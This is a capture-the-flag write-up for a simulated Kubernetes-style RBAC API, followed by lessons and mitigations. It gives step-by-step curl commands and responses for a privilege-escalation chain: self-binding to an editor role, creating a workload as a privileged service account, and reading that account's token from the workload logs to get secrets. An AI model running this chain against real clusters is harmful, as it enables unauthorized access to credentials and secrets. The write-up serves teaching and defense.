Overview
The challenge exposes a small API that simulates Kubernetes-style RBAC, workloads, and service accounts. The provided cluster.json contains a cached access list mapping identities, roles, and service accounts to permissions. The goal is to climb from the initial tour-bot identity to archive-agent and read /api/secrets.
Endpoints exposed:
POST /api/login
PATCH /api/bindings
POST /api/workloads
GET /api/workloads/NAME/logs
GET /api/secrets
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
$TOKEN and $ARCHIVE_TOKEN below are set as the solve progresses. No wordlist or external credentials are required.
Recon
Step 1 — Download and inspect cluster.json
Goal: Obtain the cached RBAC access list and identify the privilege-escalation chain.
curl -O "$TARGET/downloads/cluster.json"
cat cluster.json
{
"namespace": "backstage",
"bindings": {
"tour-bot": ["get:workloads", "patch:rolebindings"]
},
"roles": {
"editor": ["create:workloads", "get:workloads/logs"]
},
"serviceAccounts": {
"default": ["read:public"],
"archive-agent": ["get:secrets"]
}
}
Key permissions:
tour-bot→patch:rolebindingseditor→create:workloadsarchive-agent→get:secrets
Interpretation: The intended chain is tour-bot → bind to editor → create workload as archive-agent → read archive-agent token → get secrets.
Vulnerability Analysis
Exploitation
Step 2 — Obtain the initial token
Goal: Log in and establish the starting identity.
curl -i -X POST "$TARGET/api/login" \
-H 'Content-Type: application/json' \
-d '{}'
{
"namespace": "backstage",
"token": "tour-bot"
}
export TOKEN="tour-bot"
Interpretation: The initial identity is tour-bot, which holds patch:rolebindings.
Step 3 — Exploit the role binding
Goal: Bind tour-bot to the editor role to gain create:workloads.
curl -i -X PATCH "$TARGET/api/bindings" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"roleRef":"editor"}'
{ "updated": true }
Interpretation: tour-bot is now bound to editor, gaining create:workloads (and get:workloads/logs).
Step 4 — Create a workload as archive-agent
Goal: Create a workload using the privileged archive-agent service account with its token automounted.
curl -i -X POST "$TARGET/api/workloads" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"name":"archive-reader",
"spec":{
"serviceAccountName":"archive-agent",
"automountServiceAccountToken":true
}
}'
{ "name": "97ef7347e637509b" }
Interpretation: The server generated the actual workload name 97ef7347e637509b (the supplied name is not used directly).
Step 5 — Read the workload logs
Goal: Obtain the archive-agent service-account token from the workload logs.
curl -i \
"$TARGET/api/workloads/97ef7347e637509b/logs" \
-H "Authorization: Bearer $TOKEN"
{ "token": "archive-agent" }
export ARCHIVE_TOKEN="archive-agent"
Step 6 — Access the secrets
Goal: Call GET /api/secrets as archive-agent.
curl -i \
"$TARGET/api/secrets" \
-H "Authorization: Bearer $ARCHIVE_TOKEN"
{
"message": "safctf{REDACTED}",
"ok": true
}
Flag
safctf{REDACTED}
Returned by GET /api/secrets using the archive-agent token.
Lessons / Takeaways
- An identity that can modify its own role binding (
patch:rolebindings) can escalate to any role — self-binding is a powerful primitive. - A workload that can specify its service account and automount its token lets an attacker impersonate that service account.
- Workload logs can leak service-account tokens; treat log output as sensitive.
Mitigations
- Do not allow an identity to bind itself to arbitrary roles; restrict
patch:rolebindings/ role escalation. - Do not let workloads specify arbitrary service accounts, or disable automounting service account tokens where not needed.
- Avoid leaking service-account tokens in workload logs or API responses.
- Follow least privilege:
archive-agentshould not be reachable fromtour-botvia a short chain.
Techniques
References
- OWASP, “Kubernetes Security”: https://owasp.org/www-project-kubernetes-security/
- NIST, “Kubernetes RBAC”: https://csrc.nist.gov/

